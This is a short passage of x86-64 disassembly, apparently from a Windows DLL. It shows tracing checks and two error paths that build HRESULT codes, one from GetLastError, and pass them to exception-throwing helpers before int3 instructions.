mov eax, dword [rsp + 0x60]
add rsp, 0x50
pop rbx
ret
mov rcx, qword [0x18008d218]
lea rax, [0x18008d218]
cmp rcx, rax
je 0x18002603d
test byte [rcx + 0x1c], 1
je 0x18002603d
mov rcx, qword [rcx + 0x10]
lea r8, [0x180073ab8]
mov edx, 0x1c
call fcn.180001310
mov edx, 0x8007139f
lea rcx, [rsp + 0x30]
call fcn.18003b9b4
lea rdx, [0x180089f50]
lea rcx, [rsp + 0x30]
call fcn.1800425b8
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [0x18008d218]
lea rax, [0x18008d218]
cmp rcx, rax
je 0x180026097
test byte [rcx + 0x1c], 1
je 0x180026097
mov rcx, qword [rcx + 0x10]
lea r8, [0x180073ab8]
mov edx, 0x1d
mov r9d, ebx
call fcn.180001330
movzx edx, bx
lea rcx, [rsp + 0x30]
or edx, 0x80070000
test ebx, ebx
cmovle edx, ebx
call fcn.18003b9b4
lea rdx, [0x180089f50]
lea rcx, [rsp + 0x30]
call fcn.1800425b8
int3